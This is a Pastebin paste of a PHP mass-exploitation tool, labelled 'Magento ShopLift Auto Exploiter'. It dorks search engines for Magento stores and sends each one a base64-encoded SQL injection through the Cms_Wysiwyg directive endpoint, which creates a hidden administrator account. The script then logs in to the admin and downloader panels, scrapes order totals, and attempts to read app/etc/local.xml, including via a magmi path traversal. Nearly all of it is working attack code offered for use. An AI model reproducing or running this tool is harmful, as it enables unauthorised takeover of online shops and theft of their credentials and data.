YKBlackHat

ShopLift

Jul 30th, 2016
1,017
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 27.63 KB | None | 0 0
  1. <?php
  2. date_default_timezone_set('America/Los_Angeles');
  3. set_time_limit(0);
  4. class FathurFreak {
  5. private $dork = "";
  6. private $username = "nzero";
  7. private $password = "nzero";
  8.  
  9. public function Dork($dork){
  10. $this->dork = $dork;
  11. return $this->dork;
  12. }
  13.  
  14. private function CurlPost($url, $post = false){
  15. $ch = curl_init();
  16. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  17. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  18. curl_setopt($ch, CURLOPT_URL, $url);
  19. curl_setopt($ch, CURLOPT_HEADER, 0);
  20. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  21. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
  22. curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  23. if($post !== false){
  24. $isi = '';
  25. foreach($post as $key=>$value){
  26. $isi .= $key.'='.$value.'&';
  27. }
  28. rtrim($isi, '&');
  29. curl_setopt($ch, CURLOPT_URL, $url);
  30. curl_setopt($ch, CURLOPT_POST, count($isi));
  31. curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
  32. curl_setopt($ch, CURLOPT_POSTFIELDS, $isi);
  33. }
  34. $data = curl_exec($ch);
  35. curl_close($ch);
  36. return $data;
  37. }
  38.  
  39. private function GetStr($start,$end,$string){
  40. $a = explode($start,$string);
  41. $b = explode($end,$a[1]);
  42. return $b[0];
  43. }
  44.  
  45. private function LoginDownloader($url){
  46. $link = parse_url($url);
  47. $data = $this->CurlPost(sprintf("%s://%s/downloader/",$link["scheme"],$link["host"]),
  48. array("username" => $this->username,
  49. "password" => $this->password)
  50. );
  51. if(preg_match("/Log Out/i",$data) || (preg_match("/Return to Admin/i",$data))){
  52. $permission = (!preg_match("/Warning: Your Magento folder does not have sufficient write permissions./i",$data) ? "Writeable" : "Denied");
  53. $smtp = (!eregi("Smtp",$data) || !eregi("Mandrill",$data) || !eregi("smtp",$data) ? "Yes" : "No");
  54. $filesystem = (!eregi("File_System",$data) ? "No" : "Yes");
  55. return "Success\nPermission\t: ".$permission."\nSMTP\t\t\t: ".$smtp."\nFile System\t: ".$filesystem."\n";
  56. } else {
  57. return "Failed";
  58. }
  59. }
  60.  
  61. private function LoginAdmin($target){
  62. $link = parse_url($target);
  63. $get = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]));
  64. $key = $this->GetStr("<input name=\"form_key\" type=\"hidden\" value=\"","\" />",$get);
  65. $data = $this->CurlPost(sprintf("%s://%s/admin/",$link["scheme"],$link["host"]),
  66. array("login[username]" => $this->username,
  67. "login[password]" => $this->password,
  68. "form_key" => $key)
  69. );
  70. if($this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]))){
  71. return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data)."\nInstaled\t\t: ".$this->LocalFileDiscloure(sprintf("%s://%s",$link["scheme"],$link["host"]));
  72. } else {
  73. return "Success\nOrder Total\t\t: ".$this->GetStr("<span class=\"price\">","</span>",$data);
  74. }
  75. }
  76.  
  77. private function ShopLiftExploit($target){
  78. $email = substr(md5(time()),2,15);
  79. $link = parse_url($target);
  80. $data = $this->CurlPost(sprintf("%s://%s/admin/Cms_Wysiwyg/directive/index/",$link["scheme"],$link["host"]),
  81. array("filter" => base64_encode("popularity[from]=0&popularity[to]=3&popularity[field_expr]=0);SET @SALT = 'rp';SET @PASS = CONCAT(MD5(CONCAT( @SALT , '{$this->password}') ), CONCAT(':', @SALT ));SELECT @EXTRA := MAX(extra) FROM admin_user WHERE extra IS NOT NULL;INSERT INTO `admin_user` (`firstname`, `lastname`,`email`,`username`,`password`,`created`,`lognum`,`reload_acl_flag`,`is_active`,`extra`,`rp_token`,`rp_token_created_at`) VALUES ('Firstname','Lastname','{$email}@gmail.com','{$this->username}',@PASS,NOW(),0,0,1,@EXTRA,NULL, NOW());INSERT INTO `admin_role` (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM admin_user WHERE username = '{$this->username}'),'Firstname');"),
  82. "___directive" => base64_encode("{{block type=Adminhtml/report_search_grid output=getCsvFile}}"),
  83. "forwarded" => "1")
  84. );
  85. return (@imagecreatefromstring($data) !== false);
  86. }
  87.  
  88. private function ExecuteExploit($victim){
  89. $file = fopen("ShopLift-".date("d-m-Y").".log","a");
  90. $file2 = fopen("notvuln-".date("d-m-Y").".log","a");
  91. $url = parse_url($victim);
  92. $target = (!isset($url["scheme"]) ? "http://".$victim : $url["scheme"]."://".$url["host"]);
  93. if($this->ShopLiftExploit($target)){
  94. $downloader = $this->LoginDownloader($target);
  95. $admin = $this->LoginAdmin($target);
  96. $result = "\n============[ShopLift Result]============\nSite\t\t\t: {$target}\nLogin Admin\t\t: {$admin}\nLogin Downloader\t: {$downloader}\n===========================================\n";
  97. fwrite($file,$result);
  98. return $result;
  99. }else {
  100. $result2 = "[".date("H:i:s")."] ".$target." => Not vuln !\n";
  101. fwrite($file2,$result2);
  102. return $result2;
  103.  
  104. }
  105.  
  106. fclose($file);
  107. }
  108.  
  109.  
  110. private function LocalFileDiscloure($target){
  111. $path = array( "/app/etc/local.xml",
  112. "/magmi/web/download_file.php?file=../../app/etc/local.xml"
  113. );
  114. for($i=0;$i<=count($path);$i++){
  115. $test = $this->CurlPost($target.$path[$i]);
  116. if(isset($test) && preg_match('/install/i',$test) && preg_match('/date/i',$test)){
  117. return $this->GetStr("<date><![CDATA[","]]></date>",$test);
  118. } else {
  119. return false;
  120. }
  121. }
  122. }
  123.  
  124. public function SearchEngine($engine){
  125. $list = array();
  126. $ccbing = array("ca","br","be","nl","uk","it","es","de","no","dk","se","ch","ru","jp","cn","kr","mx","ar","cl","au");
  127. $ccgoogle = array("co.uk");//,"com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  128. $ccask = array("au","uk","ca","de","it","fr","es","ru","nl","pl","at","se","dk","no","br","mx","jp");
  129. $ccyahoo = array("au","ru","at","pl","il","tr","ua","gr","jp","cn","my","id","th","in","kr","tw","ro","za","pt","ca","uk","de","fr","es","it","hk","mx","br","ar","nl","dk","ph","cl","ru","co","fi","ve","nz","pe");
  130. switch($engine){
  131. case 1:
  132. for($i=0;$i<=1000;$i+=10){
  133. $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&first=".$i);
  134. preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  135. foreach($m[1] as $link){
  136. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  137. if(!in_array($link,$list)){
  138. $list[] = $link;
  139. }
  140. }
  141. }
  142. echo "[".date("H:i:s")."] Catch Bing (".count(array_unique($m[1])).")\n";
  143. }
  144. echo "[".date("H:i:s")."] Total Bing : ".count($list)."\n";
  145. break;
  146. case 2:
  147. for($x=0;$x<=count($ccbing)-1;$x++){
  148. for($i=0;$i<=1000;$i+=10){
  149. $search = $this->CurlPost("http://www.bing.com/search?q=".urlencode($this->dork)."&cc=".$ccbing[$x]."&rf=1&first=".$i."&FORM=PORE");
  150. preg_match_all('#<h2><a href="(.*?)" h="ID#', $search, $m);
  151. foreach($m[1] as $link){
  152. if(!preg_match("/live|msn|bing|microsoft/",$link)){
  153. if(!in_array($link,$list)){
  154. $list[] = $link;
  155. }
  156. }
  157. }
  158. echo "[".date("H:i:s")."] Catch Bing.".$ccbing[$x]." (".count(array_unique($m[1])).")\n";
  159. }
  160. }
  161. echo "[".date("H:i:s")."] Total Bing World : ".count($list)."\n";
  162. break;
  163. /*case 3:
  164. for($x=0;$x<=count($ccgoogle)-1;$x++){
  165. for($i=0;$i<=200;$i+=10){
  166. $search = $this->CurlPost("http://www.google.".$ccgoogle[$x]."/search?num=50&q=".urlencode($this->dork)."&start=".$i."&sa=N");
  167. preg_match_all('/<a href=\"?http:\/\/([^>\"]*)\//m', $search, $m);
  168. foreach($m[1] as $link){
  169. if(!preg_match("/google/",$link)){
  170. if(!in_array($link,$list)){
  171. $list[] = $link;
  172. }
  173. }
  174. }
  175. echo "[".date("H:i:s")."] Catch Google.".$ccgoogle[$x]." (".count(array_unique($m[1])).")\n";
  176. }
  177. }
  178. echo "[".date("H:i:s")."] Total Google World : ".count($list)."\n";
  179. break;*/
  180. /*case 4:
  181. for($x=0;$x<=count($ccask)-1;$x++){
  182. for($i=1;$i<=1000;$i+=100){
  183. $search = $this->CurlPost("http://".$ccask[$x].".ask.com/web?q=".urlencode($this->dork)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss=");
  184. preg_match_all('/href=\"http:\/\/(.*?)\" onmousedown=/m', $search, $m);
  185. foreach($m[1] as $link){
  186. if(!preg_match("/ask\.com/",$link)){
  187. if(!in_array($link,$list)){
  188. $list[] = $link;
  189. }
  190. }
  191. }
  192. echo "[".date("H:i:s")."] Catch Ask.".$ccask[$x]."(".count(array_unique($m[1])).")\n";
  193. }
  194. }
  195. echo "[".date("H:i:s")."] Total Ask World : ".count($list)."\n";
  196. break;
  197. case 5:
  198. for($i=1;$i<=100;$i+=1){
  199. $search = $this->CurlPost("http://search.walla.co.il/?q=".urlencode($this->dork)."&type=text&page=".$i);
  200. preg_match_all('/<a href=\"http:\/\/(.+?)\" title=/m', $search, $m);
  201. foreach($m[1] as $link){
  202. if(!preg_match("/walla\.co\.il/",$link)){
  203. if(!in_array($link,$list)){
  204. $list[] = $link;
  205. }
  206. }
  207. }
  208. echo "[".date("H:i:s")."] Catch Walla (".count(array_unique($m[1])).")\n";
  209. }
  210. echo "[".date("H:i:s")."] Total Walla : ".count($list)."\n";
  211. break;
  212. case 6:
  213. for($i=1;$i<=400;$i+=10){
  214. $search = $this->CurlPost("http://szukaj.onet.pl/".$i.",query.html?qt=".urlencode($this->dork));
  215. preg_match_all('/<a href=\"http:\/\/(.*?)\">/m', $search, $m);
  216. foreach($m[1] as $link){
  217. if(!preg_match("/onet|webcache|query/",$link)){
  218. if(!in_array($link,$list)){
  219. $list[] = $link;
  220. }
  221. }
  222. }
  223. echo "[".date("H:i:s")."] Catch Onet (".count(array_unique($m[1])).")\n";
  224. }
  225. echo "[".date("H:i:s")."] Total Onet : ".count($list)."\n";
  226. break;
  227. case 7:
  228. for($i=1;$i<=50;$i+=1){
  229. $search = $this->CurlPost("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$i."&q=".urlencode($this->dork)."&st=local");
  230. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  231. foreach($m[1] as $link){
  232. if(!preg_match("/\.sapo\.pt/",$link)){
  233. if(!in_array($link,$list)){
  234. $list[] = $link;
  235. }
  236. }
  237. }
  238. echo "[".date("H:i:s")."] Catch Sapo (".count(array_unique($m[1])).")\n";
  239. }
  240. echo "[".date("H:i:s")."] Total Sapo : ".count($list)."\n";
  241. break;
  242. case 8:
  243. for($i=1;$i<=50;$i+=1){
  244. $search = $this->CurlPost("http://search.lycos.com/web?q=".urlencode($this->dork)."&pn=".$i);
  245. preg_match_all('/title=\"http:\/\/(.*?)\"/m', $search, $m);
  246. foreach($m[1] as $link){
  247. if(!preg_match("/lycos/",$link)){
  248. if(!in_array($link,$list)){
  249. $list[] = $link;
  250. }
  251. }
  252. }
  253. echo "[".date("H:i:s")."] Catch Lycos (".count(array_unique($m[1])).")\n";
  254. }
  255. echo "[".date("H:i:s")."] Total Lycos : ".count($list)."\n";
  256. break;
  257. case 9:
  258. for($i=1;$i<=1000;$i+=10){
  259. $search = $this->CurlPost("http://busca.uol.com.br/web/?ref=homeuol&q=".urlencode($this->dork)."&start=".$i);
  260. preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  261. foreach($m[1] as $link){
  262. if(!preg_match("/uol\.com\.br|\/web/i",$link)){
  263. if(!in_array($link,$list)){
  264. $list[] = $link;
  265. }
  266. }
  267. }
  268. echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  269. }
  270. echo "[".date("H:i:s")."] Total Uol : ".count($list)."\n";
  271. break;
  272. case 10:
  273. for($i=1;$i<=300;$i+=20){
  274. $search = $this->CurlPost("http://search.seznam.cz/?q=".urlencode($this->dork)."&count=20&from=".$i);
  275. preg_match_all('/href=\"?http:\/\/([^\">]*)\"/m', $search, $m);
  276. foreach($m[1] as $link){
  277. if(!preg_match("/seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i",$link)){
  278. if(!in_array($link,$list)){
  279. $list[] = $link;
  280. }
  281. }
  282. }
  283. echo "[".date("H:i:s")."] Catch Seznam (".count(array_unique($m[1])).")\n";
  284. }
  285. echo "[".date("H:i:s")."] Total Seznam : ".count($list)."\n";
  286. break;*/
  287. case 11:
  288. for($i=1;$i<=50;$i+=1){
  289. $ch1 =curl_init("http://www.hotbot.com/");
  290. curl_setopt($ch1, CURLOPT_RETURNTRANSFER, 1);
  291. $keyvoll = curl_exec($ch1);
  292. curl_close($ch1);
  293. $ma=preg_match("/\.val\('(.*?)'\);/",$keyvoll,$ke);
  294. $ch=curl_init();
  295. $search = $this->CurlPost("http://www.hotbot.com/search/web?pn=".$i."&q=".urlencode($this->dork)."&keyvol=".$ke[1]);
  296. preg_match_all('#<span class="web-baseuri">(.*?)</span>#', $search, $m);
  297. foreach($m[1] as $link){
  298.  
  299. if(!in_array($link,$list)){
  300. $list[] = $link;
  301. }
  302. }
  303.  
  304. echo "[".date("H:i:s")."] Catch Hotbot (".count(array_unique($m[1])).")\n";
  305. }
  306. echo "[".date("H:i:s")."] Total Hotbot : ".count($list)."\n";
  307. break;
  308. /*case 12:
  309. for($i=1;$i<=300;$i+=10){
  310. $search = $this->CurlPost("http://search.aol.com/aol/search?q=".urlencode($this->dork)."&page=".$i);
  311. preg_match_all('/href=\"http:\/\/(.*?)\"/m', $search, $m);
  312. foreach($m[1] as $link){
  313. if(!preg_match("/aol\.com/",$link)){
  314. if(!in_array($link,$list)){
  315. $list[] = $link;
  316. }
  317. }
  318. }
  319. echo "[".date("H:i:s")."] Catch Aol (".count(array_unique($m[1])).")\n";
  320. }
  321. echo "[".date("H:i:s")."] Total Aol : ".count($list)."\n";
  322. break;
  323. /* case 13:
  324. for($i=1;$i<=1000;$i+=10){
  325. $search = $this->CurlPost("http://search.yahoo.com/search?p=".urlencode($this->dork)."&b=".$i);
  326. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  327. foreach($m[1] as $link){
  328. if(!preg_match("/yahoo/",$link)){
  329. if(!in_array($link,$list)){
  330. $list[] = $link;
  331. }
  332. }
  333. }
  334. echo "[".date("H:i:s")."] Catch Yahoo (".count(array_unique($m[1])).")\n";
  335. }
  336. echo "[".date("H:i:s")."] Total Yahoo : ".count($list)."\n";
  337. break; */
  338. /* case 14:
  339. for($x=0;$x<=count($ccyahoo)-1;$x++){
  340. for($i=1;$i<=1000;$i+=100){
  341. $search = $this->CurlPost("http://".$ccyahoo[$x].".search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".urlencode($this->dork)."&n=100&ei=UTF-8&va_vt=any&vo_vt=any&ve_vt=any&vp_vt=any&vst=0&vf=all&vc=hk&vm=p&fl=0&fr=yfp-t-501&fp_ip=11&xargs=0&pstart=1&b=".$i);
  342. preg_match_all('/<a href=\"http:\/\/(.*?)\"/m', $search, $m);
  343. foreach($m[1] as $link){
  344. if(!preg_match("/yahoo".$ccyahoo[$x]."/",$link)){
  345. if(!in_array($link,$list)){
  346. $list[] = $link;
  347. }
  348. }
  349. }
  350. echo "[".date("H:i:s")."] Catch Yahoo.".$ccyahoo[$x]." (".count(array_unique($m[1])).")\n";
  351. }
  352. }
  353. echo "[".date("H:i:s")."] Total Yahoo World : ".count($list)."\n";
  354. break; */
  355. }
  356. if(count($list)>0){
  357. echo "Exploiting target ".count($list).". Please wait ... \n";
  358. foreach($list as $do){
  359. echo $this->ExecuteExploit($do);
  360. }
  361. }
  362. }
  363.  
  364. public function ExploitLogo(){
  365. $logo = "==================================================\n";
  366. $logo .= "#\t Magento ShopLift Auto Exploiter \t #\n";
  367. $logo .= "#------------------------------------------------#\n";
  368. $logo .= "#\t Usage \t\t: php ".basename($_SERVER["SCRIPT_FILENAME"], '.php').".php \"Dork\"\t #\n";
  369. $logo .= "#------------------------------------------------#\n";
  370. $logo .= "#\t (C) ".date("Y")." \t\t #\n";
  371. $logo .= "==================================================\n";
  372. echo $logo;
  373. }
  374. }
  375. $Exploiter = new FathurFreak();
  376. if(isset($argv[1]) && !empty($argv[1])){
  377. if($argv[1]=="-l" && !empty($argv[2])){
  378. $file = file_get_contents($argv[2]);
  379. $list = explode("\n",$file);
  380. if(isset($list)){
  381. echo "Starting engine ....\n";
  382. flush();
  383. sleep(2);
  384. echo "[".date("H:i:s")."] Scanning ".count($list)." dorks. Please wait ... \n";
  385. foreach($list as $dork){
  386. echo "[".date("H:i:s")."] Scanning target for dork : {$dork}\n";
  387. $Exploiter->Dork($dork);
  388. for($i=0;$i<15;$i++){
  389. $Exploiter->SearchEngine($i);
  390. flush();
  391. sleep(1);
  392. }
  393. }
  394. }
  395. } else {
  396. echo "Starting engine ....\n";
  397. flush();
  398. sleep(2);
  399. echo "[".date("H:i:s")."] Scanning target for dork : {$argv[1]}\n";
  400. $Exploiter->Dork($argv[1]);
  401. for($i=0;$i<15;$i++){
  402. $Exploiter->SearchEngine($i);
  403. flush();
  404. sleep(1);
  405. }
  406. }
  407. echo "Scan finished !!!\n";
  408. flush();
  409. sleep(1);
  410. echo "Shuting down engine !!!\n";
  411. } else {
  412. $Exploiter->ExploitLogo();
  413. }
Add Comment
Please, Sign In to add comment